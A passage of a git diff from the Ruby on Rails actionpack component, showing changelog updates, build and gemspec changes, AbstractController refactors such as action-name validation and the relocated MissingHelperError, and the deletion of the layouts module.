-*   `assert_generates`, `assert_recognizes`, and `assert_routing` all raise
-    `Assertion` instead of `RoutingError` *David Chelimsky*
+    Fixes #10051.
 
-*   URL path parameters with invalid encoding now raise `ActionController::BadRequest`. *Andrew White*
+    *Tima Maslyuchenko*
 
-*   Malformed query and request parameter hashes now raise `ActionController::BadRequest`. *Andrew White*
+*   Respect `SCRIPT_NAME` when using `redirect` with a relative path
 
-*   Add `divider` option to `grouped_options_for_select` to generate a separator
-    `optgroup` automatically, and deprecate `prompt` as third argument, in favor
-    of using an options hash. *Nicholas Greenfield*
+    Example:
 
-*   Add `time_field` and `time_field_tag` helpers which render an `input[type="time"]` tag. *Alex Soulim*
+        # application routes.rb
+        mount BlogEngine => '/blog'
 
-*   Removed old text helper apis from `highlight`, `excerpt` and `word_wrap`. *Jeremy Walker*
+        # engine routes.rb
+        get '/admin' => redirect('admin/dashboard')
 
-*   Templates without a handler extension now raises a deprecation warning but still
-    defaults to ERB. In future releases, it will simply return the template contents. *Steve Klabnik*
+    This now redirects to the path `/blog/admin/dashboard`, whereas before it would
+    have generated an invalid url because there would be no slash between the host name
+    and the path. It also allows redirects to work when the application is deployed
+    to a subdirectory of a website.
 
-*   Deprecate `:disable_with` in favor of `data: { disable_with: "Text" }` option from `submit_tag`, `button_tag` and `button_to` helpers.
+    Fixes #7977.
 
-    *Carlos Galdino + Rafael Mendonça França*
+    *Andrew White*
 
-*   Remove `:mouseover` option from `image_tag` helper. *Rafael Mendonça França*
+*   Fixing `repond_with` working directly on the options hash
+    This fixes an issue where the `respond_with` worked directly with the given
+    options hash, so that if a user relied on it after calling `respond_with`,
+    the hash wouldn't be the same.
 
-*   The `select` method (select tag) forces `:include_blank` if `required` is true and
-    `display size` is one and `multiple` is not true. *Angelo Capilleri*
+    Fixes #12029.
 
-*   Copy literal route constraints to defaults so that url generation know about them.
-    The copied constraints are `:protocol`, `:subdomain`, `:domain`, `:host` and `:port`.
+    *bluehotdog*
 
-    *Andrew White*
+*   Fix `ActionDispatch::RemoteIp::GetIp#calculate_ip` to only check for spoofing
+    attacks if both `HTTP_CLIENT_IP` and `HTTP_X_FORWARDED_FOR` are set.
 
-*   `respond_to` and `respond_with` now raise `ActionController::UnknownFormat` instead
-    of directly returning head 406. The exception is rescued and converted to 406
-    in the exception handling middleware. *Steven Soroka*
+    Fixes #10844.
 
-*   Allows `assert_redirected_to` to match against a regular expression. *Andy Lindeman*
+    *Tamir Duberstein*
 
-*   Add backtrace to development routing error page. *Richard Schneeman*
+*   Strong parameters should permit a nested number to be a key.
 
-*   Replace `include_seconds` boolean argument with `include_seconds: true` option
-    in `distance_of_time_in_words` and `time_ago_in_words` signature. *Dmitriy Kiriyenko*
+    Fixes #12293.
 
-*   Make current object and counter (when it applies) variables accessible when
-    rendering templates with :object / :collection. *Carlos Antonio da Silva*
+    *kennyj*
 
-*   JSONP now uses mimetype `text/javascript` instead of `application/json`. *omjokine*
+*   Fix the regex used to detect URI schemes in `redirect_to`, to be consistent
+    with RFC 3986.
 
-*   Allow to lazy load `default_form_builder` by passing a `String` instead of a constant. *Piotr Sarnacki*
+    *Derek Prior*
 
-*   Session arguments passed to `process` calls in functional tests are now merged into
-    the existing session, whereas previously they would replace the existing session.
-    This change may break some existing tests if they are asserting the exact contents of
-    the session but should not break existing tests that only assert individual keys.
+*   Fix incorrect `assert_redirected_to` failure message for protocol-relative
+    URLs.
 
-    *Andrew White*
+    *Derek Prior*
 
-*   In the routes DSL the `:via` option of `match` is now mandatory.
+*   Fix an issue where the router could not recognize a downcased url encoding path.
 
-    For routes that respond to one single verb it is recommended to use the more specific
-    macros `get`, `post`, etc. instead. You can still map all HTTP verbs to one action
-    with `match`, but it has to be explictly configured using `:via => :all`.
+    Fixes #12269.
 
-    *José Valim and Yehuda Katz*
+    *kennyj*
 
-*   Add `index` method to FormBuilder class. *Jorge Bejar*
+*   Fix custom flash type definition. Misuse of the `_flash_types` class variable
+    caused an error when reloading controllers with custom flash types.
 
-*   Remove the leading \n added by textarea on `assert_select`. *Santiago Pastorino*
+    Fixes #12057.
 
-*   Changed default value for `config.action_view.embed_authenticity_token_in_remote_forms`
-    to `false`. This change breaks remote forms that need to work also without JavaScript,
-    so if you need such behavior, you can either set it to `true` or explicitly pass
-    `authenticity_token: true` in form options.
+    *Ricardo de Cillo*
 
-*   Added `ActionDispatch::SSL` middleware that when included force all the requests to be under HTTPS protocol. *Rafael Mendonça França*
+*   Do not break params filtering on `nil` values.
 
-*   Add `include_hidden` option to select tag. With `include_hidden: false` select with `multiple` attribute doesn't generate hidden input with blank value. *Vasiliy Ermolovich*
+    Fixes #12149.
 
-*   Removed default `size` option from the `text_field`, `search_field`, `telephone_field`, `url_field`, `email_field` helpers. *Philip Arndt*
+    *Vasiliy Ermolovich*
 
-*   Removed default `cols` and `rows` options from the `text_area` helper. *Philip Arndt*
+*   Development mode exceptions are rendered in text format in case of
+    an XHR request.
 
-*   Adds support for layouts when rendering a partial with a given collection. *serabe*
+    *Kir Shatrov*
 
-*   Allows the route helper `root` to take a string argument. For example, `root 'pages#main'`. *bcardarella*
+*   Fix an issue where :if and :unless controller action procs were being run
+    before checking for the correct action in the :only and :unless options.
 
-*   Forms of persisted records use always PATCH (via the `_method` hack). *fxn*
+    Fixes #11799.
 
-*   For resources, both PATCH and PUT are routed to the `update` action. *fxn*
+    *Nicholas Jakobsen*
 
-*   Don't ignore `force_ssl` in development. This is a change of behavior - use a `:if` condition to recreate the old behavior.
+*   Fix an issue where `assert_dom_equal` and `assert_dom_not_equal` were
+    ignoring the passed failure message argument.
 
-        class AccountsController < ApplicationController
-          force_ssl if: :ssl_configured?
+    Fixes #11751.
 
-          def ssl_configured?
-            !Rails.env.development?
-          end
-        end
+    *Ryan McGeary*
 
-    *Pat Allan*
+*   Allow REMOTE_ADDR, HTTP_HOST and HTTP_USER_AGENT to be overridden from
+    the environment passed into `ActionDispatch::TestRequest.new`.
 
-*   Adds support for the PATCH verb:
-      * Request objects respond to `patch?`.
-      * Routes have a new `patch` method, and understand `:patch` in the
-        existing places where a verb is configured, like `:via`.
-      * New method `patch` available in functional tests.
-      * If `:patch` is the default verb for updates, edits are
-        tunneled as PATCH rather than as PUT, and routing acts accordingly.
-      * New method `patch_via_redirect` available in integration tests.
+    Fixes #11590.
 
-    *dlee*
+    *Andrew White*
 
-*   `expires_in` accepts a `must_revalidate` flag. If true, "must-revalidate"
-    is added to the Cache-Control header. *fxn*
+*   Fix an issue where Journey was failing to clear the named routes hash when the
+    routes were reloaded and since it doesn't overwrite existing routes then if a
+    route changed but wasn't renamed it kept the old definition. This was being
+    masked by the optimised url helpers so it only became apparent when passing an
+    options hash to the url helper.
 
-*   Add `date_field` and `date_field_tag` helpers which render an `input[type="date"]` tag *Olek Janiszewski*
+    *Andrew White*
 
-*   Adds `image_url`, `javascript_url`, `stylesheet_url`, `audio_url`, `video_url`, and `font_url`
-    to assets tag helper. These URL helpers will return the full path to your assets. This is useful
-    when you are going to reference this asset from external host. *Prem Sichanugrist*
+*   Skip routes pointing to a redirect or mounted application when generating urls
+    using an options hash as they aren't relevant and generate incorrect urls.
 
-*   Default responder will now always use your overridden block in `respond_with` to render your response. *Prem Sichanugrist*
+    Fixes #8018.
 
-*   Allow `value_method` and `text_method` arguments from `collection_select` and
-    `options_from_collection_for_select` to receive an object that responds to `:call`,
-    such as a `proc`, to evaluate the option in the current element context. This works
-    the same way with `collection_radio_buttons` and `collection_check_boxes`.
+    *Andrew White*
 
-    *Carlos Antonio da Silva + Rafael Mendonça França*
+*   Move `MissingHelperError` out of the `ClassMethods` module.
 
-*   Add `collection_check_boxes` form helper, similar to `collection_select`:
-    Example:
+    *Yves Senn*
 
-        collection_check_boxes :post, :author_ids, Author.all, :id, :name
-        # Outputs something like:
-        <input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" />
-        <label for="post_author_ids_1">D. Heinemeier Hansson</label>
-        <input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
-        <label for="post_author_ids_2">D. Thomas</label>
-        <input name="post[author_ids][]" type="hidden" value="" />
+*   Fix an issue where Rails raised an exception about a missing helper when
+    it should have thrown a `LoadError` instead. When the helper file exists
+    and only the loaded file from the helper does not exist, Rails should now
+    throw a `LoadError` instead of a `MissingHelperError`.
 
-    The label/check_box pairs can be customized with a block.
+    *Piotr Niełacny*
 
-    *Carlos Antonio da Silva + Rafael Mendonça França*
+*   Fix `ActionDispatch::ParamsParser#parse_formatted_parameters` to rewind
+    body input stream on parsing json params.
 
-*   Add `collection_radio_buttons` form helper, similar to `collection_select`:
-    Example:
+    Fixes #11345.
 
-        collection_radio_buttons :post, :author_id, Author.all, :id, :name
-        # Outputs something like:
-        <input id="post_author_id_1" name="post[author_id]" type="radio" value="1" />
-        <label for="post_author_id_1">D. Heinemeier Hansson</label>
-        <input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
-        <label for="post_author_id_2">D. Thomas</label>
+    *Yuri Bol*, *Paul Nikitochkin*
 
-    The label/radio_button pairs can be customized with a block.
+*   Ignore spaces around delimiters in the Set-Cookie header.
 
-    *Carlos Antonio da Silva + Rafael Mendonça França*
+    *Yamagishi Kazutoshi*
 
-*   `check_box` with `:form` html5 attribute will now replicate the `:form`
-    attribute to the hidden field as well. *Carlos Antonio da Silva*
+*   Remove deprecated Rails application fallback for integration testing.
+    Set `ActionDispatch.test_app` instead.
 
-*   `label` form helper accepts `for: nil` to not generate the attribute. *Carlos Antonio da Silva*
+    *Carlos Antonio da Silva*
 
-*   Add `:format` option to `number_to_percentage`. *Rodrigo Flores*
+*   Remove deprecated `page_cache_extension` config.
 
-*   Add `config.action_view.logger` to configure logger for Action View. *Rafael Mendonça França*
+    *Francesco Rodriguez*
 
-*   Deprecated `ActionController::Integration` in favour of `ActionDispatch::Integration`.
+*   Remove deprecated constants from Action Controller:
 
-*   Deprecated `ActionController::IntegrationTest` in favour of `ActionDispatch::IntegrationTest`.
+        ActionController::AbstractRequest  => ActionDispatch::Request
+        ActionController::Request          => ActionDispatch::Request
+        ActionController::AbstractResponse => ActionDispatch::Response
+        ActionController::Response         => ActionDispatch::Response
+        ActionController::Routing          => ActionDispatch::Routing
+        ActionController::Integration      => ActionDispatch::Integration
+        ActionController::IntegrationTest  => ActionDispatch::IntegrationTest
 
-*   Deprecated `ActionController::PerformanceTest` in favour of `ActionDispatch::PerformanceTest`.
+    *Carlos Antonio da Silva*
 
-*   Deprecated `ActionController::AbstractRequest` in favour of `ActionDispatch::Request`.
+*   Fix `Mime::Type.parse` when a bad accepts header is looked up.
+    Previously, it was setting `request.formats` with an array containing a
+    `nil` value, which raised an error when setting the controller formats.
 
-*   Deprecated `ActionController::Request` in favour of `ActionDispatch::Request`.
+    Fixes #10965.
 
-*   Deprecated `ActionController::AbstractResponse` in favour of `ActionDispatch::Response`.
+    *Becker*
 
-*   Deprecated `ActionController::Response` in favour of `ActionDispatch::Response`.
+*   Merge `:action` from routing scope and assign endpoint if both `:controller`
+    and `:action` are present. The endpoint assignment only occurs if there is
+    no `:to` present in the options hash, so should only affect routes using the
+    shorthand syntax (i.e. endpoint is inferred from the path).
 
-*   Deprecated `ActionController::Routing` in favour of `ActionDispatch::Routing`.
+    Fixes #9856.
 
-*   `check_box helper` with `disabled: true` will generate a disabled
-    hidden field to conform with the HTML convention where disabled fields are
-    not submitted with the form. This is a behavior change, previously the hidden
-    tag had a value of the disabled checkbox. *Tadas Tamosauskas*
+    *Yves Senn*, *Andrew White*
 
-*   `favicon_link_tag` helper will now use the favicon in app/assets by default. *Lucas Caton*
+*   Action View extracted from Action Pack.
 
-*   `ActionView::Helpers::TextHelper#highlight` now defaults to the
-    HTML5 `mark` element. *Brian Cardarella*
+    *Piotr Sarnacki*, *Łukasz Strzałkowski*
 
-Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/actionpack/CHANGELOG.md) for previous changes.
+Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/actionpack/CHANGELOG.md) for previous changes.
diff --git a/actionpack/MIT-LICENSE b/actionpack/MIT-LICENSE
index 5c668d9..d58dd9e 100644
--- a/actionpack/MIT-LICENSE
+++ b/actionpack/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/actionpack/README.rdoc b/actionpack/README.rdoc
index f730a87..76a63fc 100644
--- a/actionpack/README.rdoc
+++ b/actionpack/README.rdoc
@@ -17,11 +17,6 @@ It consists of several modules:
   subclassed to implement filters and actions to handle requests. The result
   of an action is typically content generated from views.
 
-* Action View, which handles view template lookup and rendering, and provides
-  view helpers that assist when building HTML forms, Atom feeds and more.
-  Template formats that Action View handles are ERB (embedded Ruby, typically
-  used to inline short Ruby snippets inside HTML), and XML Builder.
-
 With the Ruby on Rails framework, users only directly interface with the
 Action Controller module. Necessary Action Dispatch functionality is activated
 by default and Action View rendering is implicitly triggered by Action
@@ -37,7 +32,7 @@ The latest version of Action Pack can be installed with RubyGems:
 
 Source code can be downloaded as part of the Rails project on GitHub
 
-* https://github.com/rails/rails/tree/4-0-stable/actionpack
+* https://github.com/rails/rails/tree/4-1-stable/actionpack
 
 
 == License
diff --git a/actionpack/RUNNING_UNIT_TESTS.rdoc b/actionpack/RUNNING_UNIT_TESTS.rdoc
index 1b29abd..ad1448f 100644
--- a/actionpack/RUNNING_UNIT_TESTS.rdoc
+++ b/actionpack/RUNNING_UNIT_TESTS.rdoc
@@ -1,10 +1,10 @@
 == Running with Rake
 
 The easiest way to run the unit tests is through Rake. The default task runs
-the entire test suite for all classes. For more information, checkout the
-full array of rake tasks with "rake -T"
+the entire test suite for all classes. For more information, check out the
+full array of rake tasks with "rake -T".
 
-Rake can be found at http://rake.rubyforge.org
+Rake can be found at http://rake.rubyforge.org.
 
 == Running by hand
 
@@ -15,13 +15,3 @@ To run a single test suite
 which can be further narrowed down to one test:
 
    rake test TEST=path/to/test.rb TESTOPTS="--name=test_something"
-
-== Dependency on Active Record and database setup
-
-Test cases in the test/active_record/ directory depend on having
-activerecord and sqlite installed. If Active Record is not in
-actionpack/../activerecord directory, or the sqlite rubygem is not installed,
-these tests are skipped.
-
-Other tests are runnable from a fresh copy of actionpack without any configuration.
-
diff --git a/actionpack/Rakefile b/actionpack/Rakefile
index 7254d78..7eab972 100644
--- a/actionpack/Rakefile
+++ b/actionpack/Rakefile
@@ -1,18 +1,13 @@
 require 'rake/testtask'
-require 'rake/packagetask'
 require 'rubygems/package_task'
 
-test_files = Dir.glob('test/{abstract,controller,dispatch,template,assertions,journey,routing}/**/*_test.rb')
+test_files = Dir.glob('test/{abstract,controller,dispatch,assertions,journey,routing}/**/*_test.rb')
 
 desc "Default Task"
 task :default => :test
 
 # Run the unit tests
-
-desc "Run all unit tests"
-task :test => [:test_action_pack, :test_active_record_integration]
-
-Rake::TestTask.new(:test_action_pack) do |t|
+Rake::TestTask.new do |t|
   t.libs << 'test'
 
   # make sure we include the tests in alphabetical order as on some systems
@@ -25,33 +20,19 @@ end
 
 namespace :test do
   task :isolated do
-    ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
     test_files.all? do |file|
-      sh(ruby, '-w', '-Ilib:test', file)
+      sh(Gem.ruby, '-w', '-Ilib:test', file)
     end or raise "Failures"
   end
 end
 
-namespace :test do
-  Rake::TestTask.new(:template) do |t|
-    t.libs << 'test'
-    t.pattern = 'test/template/**/*.rb'
-  end
-end
-
-desc 'ActiveRecord Integration Tests'
-Rake::TestTask.new(:test_active_record_integration) do |t|
-  t.libs << 'test'
-  t.test_files = Dir.glob("test/activerecord/*_test.rb")
-end
-
 spec = eval(File.read('actionpack.gemspec'))
 
 Gem::PackageTask.new(spec) do |p|
   p.gem_spec = spec
 end
 
-desc "Release to gemcutter"
+desc "Release to rubygems"
 task :release => :package do
   require 'rake/gemcutter'
   Rake::Gemcutter::Tasks.new(spec).define
diff --git a/actionpack/actionpack.gemspec b/actionpack/actionpack.gemspec
index cc8351a..1d6009b 100644
--- a/actionpack/actionpack.gemspec
+++ b/actionpack/actionpack.gemspec
@@ -20,11 +20,10 @@ Gem::Specification.new do |s|
   s.requirements << 'none'
 
   s.add_dependency 'activesupport', version
-  s.add_dependency 'builder',       '~> 3.1.0'
-  s.add_dependency 'rack',          '~> 1.5.2'
-  s.add_dependency 'rack-test',     '~> 0.6.2'
-  s.add_dependency 'erubis',        '~> 2.7.0'
+
+  s.add_dependency 'rack',      '~> 1.5.2'
+  s.add_dependency 'rack-test', '~> 0.6.2'
+  s.add_dependency 'actionview', version
 
   s.add_development_dependency 'activemodel', version
-  s.add_development_dependency 'tzinfo',      '~> 0.3.37'
 end
diff --git a/actionpack/lib/abstract_controller.rb b/actionpack/lib/abstract_controller.rb
index 867a795..fe9802e 100644
--- a/actionpack/lib/abstract_controller.rb
+++ b/actionpack/lib/abstract_controller.rb
@@ -10,12 +10,11 @@ module AbstractController
   autoload :Base
   autoload :Callbacks
   autoload :Collector
+  autoload :DoubleRenderError, "abstract_controller/rendering"
   autoload :Helpers
-  autoload :Layouts
   autoload :Logger
   autoload :Rendering
   autoload :Translation
   autoload :AssetPaths
-  autoload :ViewPaths
   autoload :UrlFor
 end
diff --git a/actionpack/lib/abstract_controller/base.rb b/actionpack/lib/abstract_controller/base.rb
index af5de81..26f8160 100644
--- a/actionpack/lib/abstract_controller/base.rb
+++ b/actionpack/lib/abstract_controller/base.rb
@@ -127,7 +127,7 @@ module AbstractController
     def process(action, *args)
       @_action_name = action_name = action.to_s
 
-      unless action_name = method_for_action(action_name)
+      unless action_name = _find_action_name(action_name)
         raise ActionNotFound, "The action '#{action}' could not be found for #{self.class.name}"
       end
 
@@ -160,7 +160,7 @@ module AbstractController
     # ==== Returns
     # * <tt>TrueClass</tt>, <tt>FalseClass</tt>
     def available_action?(action_name)
-      method_for_action(action_name).present?
+      _find_action_name(action_name).present?
     end
 
     private
@@ -204,6 +204,23 @@ module AbstractController
       end
 
       # Takes an action name and returns the name of the method that will
+      # handle the action.
+      #
+      # It checks if the action name is valid and returns false otherwise.
+      #
+      # See method_for_action for more information.
+      #
+      # ==== Parameters
+      # * <tt>action_name</tt> - An action name to find a method name for
+      #
+      # ==== Returns
+      # * <tt>string</tt> - The name of the method that handles the action
+      # * false           - No valid method name could be found. Raise ActionNotFound.
+      def _find_action_name(action_name)
+        _valid_action_name?(action_name) && method_for_action(action_name)
+      end
+
+      # Takes an action name and returns the name of the method that will
       # handle the action. In normal cases, this method returns the same
       # name as it receives. By default, if #method_for_action receives
       # a name that is not an action, it will look for an #action_missing
@@ -225,7 +242,7 @@ module AbstractController
       #
       # ==== Returns
       # * <tt>string</tt> - The name of the method that handles the action
-      # * <tt>nil</tt>    - No method name could be found. Raise ActionNotFound.
+      # * <tt>nil</tt>    - No method name could be found.
       def method_for_action(action_name)
         if action_method?(action_name)
           action_name
@@ -233,5 +250,10 @@ module AbstractController
           "_handle_action_missing"
         end
       end
+
+      # Checks if the action name is valid and returns false otherwise.
+      def _valid_action_name?(action_name)
+        action_name.to_s !~ Regexp.new(File::SEPARATOR)
+      end
   end
 end
diff --git a/actionpack/lib/abstract_controller/callbacks.rb b/actionpack/lib/abstract_controller/callbacks.rb
index 491185b..d6c9418 100644
--- a/actionpack/lib/abstract_controller/callbacks.rb
+++ b/actionpack/lib/abstract_controller/callbacks.rb
@@ -8,7 +8,9 @@ module AbstractController
     include ActiveSupport::Callbacks
 
     included do
-      define_callbacks :process_action, :terminator => "response_body", :skip_after_callbacks_if_terminated => true
+      define_callbacks :process_action,
+                       terminator: ->(controller,_) { controller.response_body },
+                       skip_after_callbacks_if_terminated: true
     end
 
     # Override AbstractController::Base's process_action to run the
@@ -69,7 +71,7 @@ module AbstractController
       # * <tt>name</tt>     - The callback to be added
       # * <tt>options</tt>  - A hash of options to be used when adding the callback
       def _insert_callbacks(callbacks, block = nil)
-        options = callbacks.last.is_a?(Hash) ? callbacks.pop : {}
+        options = callbacks.extract_options!
         _normalize_callback_options(options)
         callbacks.push(block) if block
         callbacks.each do |callback|
diff --git a/actionpack/lib/abstract_controller/collector.rb b/actionpack/lib/abstract_controller/collector.rb
index 09b9e7d..ddd56b3 100644
--- a/actionpack/lib/abstract_controller/collector.rb
+++ b/actionpack/lib/abstract_controller/collector.rb
@@ -23,7 +23,17 @@ module AbstractController
   protected
 
     def method_missing(symbol, &block)
-      mime_constant = Mime.const_get(symbol.upcase)
+      const_name = symbol.upcase
+
+      unless Mime.const_defined?(const_name)
+        raise NoMethodError, "To respond to a custom format, register it as a MIME type first: " \
+          "http://guides.rubyonrails.org/action_controller_overview.html#restful-downloads. " \
+          "If you meant to respond to a variant like :tablet or :phone, not a custom format, " \
+          "be sure to nest your variant response within a format response: " \
+          "format.html { |html| html.tablet { ... } }"
+      end
+
+      mime_constant = Mime.const_get(const_name)
 
       if Mime::SET.include?(mime_constant)
         AbstractController::Collector.generate_method_for_mime(mime_constant)
diff --git a/actionpack/lib/abstract_controller/helpers.rb b/actionpack/lib/abstract_controller/helpers.rb
index a928205..e77e4e0 100644
--- a/actionpack/lib/abstract_controller/helpers.rb
+++ b/actionpack/lib/abstract_controller/helpers.rb
@@ -12,7 +12,24 @@ module AbstractController
       self._helper_methods = Array.new
     end
 
+    class MissingHelperError < LoadError
+      def initialize(error, path)
+        @error = error
+        @path  = "helpers/#{path}.rb"
+        set_backtrace error.backtrace
+
+        if error.path =~ /^#{path}(\.rb)?$/
+          super("Missing helper file helpers/%s.rb" % path)
+        else
+          raise error
+        end
+      end
+    end
+
     module ClassMethods
+      MissingHelperError = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('AbstractController::Helpers::ClassMethods::MissingHelperError',
+                                                                                   'AbstractController::Helpers::MissingHelperError')
+
       # When a class is inherited, wrap its helper module in a new module.
       # This ensures that the parent class's module can be changed
       # independently of the child class's.
@@ -134,7 +151,7 @@ module AbstractController
             begin
               require_dependency(file_name)
             rescue LoadError => e
-              raise MissingHelperError.new(e, file_name)
+              raise AbstractController::Helpers::MissingHelperError.new(e, file_name)
             end
             file_name.camelize.constantize
           when Module
@@ -145,20 +162,6 @@ module AbstractController
         end
       end
 
-      class MissingHelperError < LoadError
-        def initialize(error, path)
-          @error = error
-          @path  = "helpers/#{path}.rb"
-          set_backtrace error.backtrace
-
-          if error.path =~ /^#{path}(\.rb)?$/
-            super("Missing helper file helpers/%s.rb" % path)
-          else
-            raise error
-          end
-        end
-      end
-
       private
       # Makes all the (instance) methods in the helper module available to templates
       # rendered through this controller.
diff --git a/actionpack/lib/abstract_controller/layouts.rb b/actionpack/lib/abstract_controller/layouts.rb
deleted file mode 100644
index 8e7bdf6..0000000
--- a/actionpack/lib/abstract_controller/layouts.rb
+++ /dev/null
@@ -1,423 +0,0 @@
-require "active_support/core_ext/module/remove_method"
-
-module AbstractController
-  # Layouts reverse the common pattern of including shared headers and footers in many templates to isolate changes in
-  # repeated setups. The inclusion pattern has pages that look like this:
-  #
-  #   <%= render "shared/header" %>
-  #   Hello World
-  #   <%= render "shared/footer" %>
-  #
-  # This approach is a decent way of keeping common structures isolated from the changing content, but it's verbose
-  # and if you ever want to change the structure of these two includes, you'll have to change all the templates.
-  #
-  # With layouts, you can flip it around and have the common structure know where to insert changing content. This means
-  # that the header and footer are only mentioned in one place, like this:
-  #
-  #   // The header part of this layout
-  #   <%= yield %>
-  #   // The footer part of this layout
-  #
-  # And then you have content pages that look like this:
-  #
-  #    hello world
-  #
-  # At rendering time, the content page is computed and then inserted in the layout, like this:
-  #
-  #   // The header part of this layout
-  #   hello world
-  #   // The footer part of this layout
-  #
-  # == Accessing shared variables
-  #
-  # Layouts have access to variables specified in the content pages and vice versa. This allows you to have layouts with
-  # references that won't materialize before rendering time:
-  #
-  #   <h1><%= @page_title %></h1>
-  #   <%= yield %>
-  #
-  # ...and content pages that fulfill these references _at_ rendering time:
-  #
-  #    <% @page_title = "Welcome" %>
-  #    Off-world colonies offers you a chance to start a new life
-  #
-  # The result after rendering is:
-  #
-  #   <h1>Welcome</h1>
-  #   Off-world colonies offers you a chance to start a new life
-  #
-  # == Layout assignment
-  #
-  # You can either specify a layout declaratively (using the #layout class method) or give
-  # it the same name as your controller, and place it in <tt>app/views/layouts</tt>.
-  # If a subclass does not have a layout specified, it inherits its layout using normal Ruby inheritance.
-  #
-  # For instance, if you have PostsController and a template named <tt>app/views/layouts/posts.html.erb</tt>,
-  # that template will be used for all actions in PostsController and controllers inheriting
-  # from PostsController.
-  #
-  # If you use a module, for instance Weblog::PostsController, you will need a template named
-  # <tt>app/views/layouts/weblog/posts.html.erb</tt>.
-  #
-  # Since all your controllers inherit from ApplicationController, they will use
-  # <tt>app/views/layouts/application.html.erb</tt> if no other layout is specified
-  # or provided.
-  #
-  # == Inheritance Examples
-  #
-  #   class BankController < ActionController::Base
-  #     # bank.html.erb exists
-  #
-  #   class ExchangeController < BankController
-  #     # exchange.html.erb exists
-  #
-  #   class CurrencyController < BankController
-  #
-  #   class InformationController < BankController
-  #     layout "information"
-  #
-  #   class TellerController < InformationController
-  #     # teller.html.erb exists
-  #
-  #   class EmployeeController < InformationController
-  #     # employee.html.erb exists
-  #     layout nil
-  #
-  #   class VaultController < BankController
-  #     layout :access_level_layout
-  #
-  #   class TillController < BankController
-  #     layout false
-  #
-  # In these examples, we have three implicit lookup scenarios:
-  # * The BankController uses the "bank" layout.
-  # * The ExchangeController uses the "exchange" layout.
-  # * The CurrencyController inherits the layout from BankController.
-  #
-  # However, when a layout is explicitly set, the explicitly set layout wins:
-  # * The InformationController uses the "information" layout, explicitly set.
-  # * The TellerController also uses the "information" layout, because the parent explicitly set it.
-  # * The EmployeeController uses the "employee" layout, because it set the layout to nil, resetting the parent configuration.
-  # * The VaultController chooses a layout dynamically by calling the <tt>access_level_layout</tt> method.
-  # * The TillController does not use a layout at all.
-  #
-  # == Types of layouts
-  #
-  # Layouts are basically just regular templates, but the name of this template needs not be specified statically. Sometimes
-  # you want to alternate layouts depending on runtime information, such as whether someone is logged in or not. This can
-  # be done either by specifying a method reference as a symbol or using an inline method (as a proc).
-  #
-  # The method reference is the preferred approach to variable layouts and is used like this:
-  #
-  #   class WeblogController < ActionController::Base
-  #     layout :writers_and_readers
-  #
-  #     def index
-  #       # fetching posts
-  #     end
-  #
-  #     private
-  #       def writers_and_readers
-  #         logged_in? ? "writer_layout" : "reader_layout"
-  #       end
-  #   end
-  #
-  # Now when a new request for the index action is processed, the layout will vary depending on whether the person accessing
-  # is logged in or not.
-  #
-  # If you want to use an inline method, such as a proc, do something like this:
-  #
-  #   class WeblogController < ActionController::Base
-  #     layout proc { |controller| controller.logged_in? ? "writer_layout" : "reader_layout" }
-  #   end
-  #
-  # If an argument isn't given to the proc, it's evaluated in the context of
-  # the current controller anyway.
-  #
-  #   class WeblogController < ActionController::Base
-  #     layout proc { logged_in? ? "writer_layout" : "reader_layout" }
-  #   end
-  #
-  # Of course, the most common way of specifying a layout is still just as a plain template name:
-  #
-  #   class WeblogController < ActionController::Base
-  #     layout "weblog_standard"
-  #   end
-  #
-  # The template will be looked always in <tt>app/views/layouts/</tt> folder. But you can point
-  # <tt>layouts</tt> folder direct also. <tt>layout "layouts/demo"</tt> is the same as <tt>layout "demo"</tt>.
-  #
-  # Setting the layout to nil forces it to be looked up in the filesystem and fallbacks to the parent behavior if none exists.
-  # Setting it to nil is useful to re-enable template lookup overriding a previous configuration set in the parent:
-  #
-  #     class ApplicationController < ActionController::Base
-  #       layout "application"
-  #     end
-  #
-  #     class PostsController < ApplicationController
-  #       # Will use "application" layout
-  #     end
-  #
-  #     class CommentsController < ApplicationController
-  #       # Will search for "comments" layout and fallback "application" layout
-  #       layout nil
-  #     end
-  #
-  # == Conditional layouts
-  #
-  # If you have a layout that by default is applied to all the actions of a controller, you still have the option of rendering
-  # a given action or set of actions without a layout, or restricting a layout to only a single action or a set of actions. The
-  # <tt>:only</tt> and <tt>:except</tt> options can be passed to the layout call. For example:
-  #
-  #   class WeblogController < ActionController::Base
-  #     layout "weblog_standard", except: :rss
-  #
-  #     # ...
-  #
-  #   end
-  #
-  # This will assign "weblog_standard" as the WeblogController's layout for all actions except for the +rss+ action, which will
-  # be rendered directly, without wrapping a layout around the rendered view.
-  #
-  # Both the <tt>:only</tt> and <tt>:except</tt> condition can accept an arbitrary number of method references, so
-  # #<tt>except: [ :rss, :text_only ]</tt> is valid, as is <tt>except: :rss</tt>.
-  #
-  # == Using a different layout in the action render call
-  #
-  # If most of your actions use the same layout, it makes perfect sense to define a controller-wide layout as described above.
-  # Sometimes you'll have exceptions where one action wants to use a different layout than the rest of the controller.
-  # You can do this by passing a <tt>:layout</tt> option to the <tt>render</tt> call. For example:
-  #
-  #   class WeblogController < ActionController::Base
-  #     layout "weblog_standard"
-  #
-  #     def help
-  #       render action: "help", layout: "help"
-  #     end
-  #   end
-  #
-  # This will override the controller-wide "weblog_standard" layout, and will render the help action with the "help" layout instead.
-  module Layouts
-    extend ActiveSupport::Concern
-
-    include Rendering
-
-    included do
-      class_attribute :_layout, :_layout_conditions, :instance_accessor => false
-      self._layout = nil
-      self._layout_conditions = {}
-      _write_layout_method
-    end
-
-    delegate :_layout_conditions, to: :class
-
-    module ClassMethods
-      def inherited(klass) # :nodoc:
-        super
-        klass._write_layout_method
-      end
-
-      # This module is mixed in if layout conditions are provided. This means
-      # that if no layout conditions are used, this method is not used
-      module LayoutConditions # :nodoc:
-      private
-
-        # Determines whether the current action has a layout definition by
-        # checking the action name against the :only and :except conditions
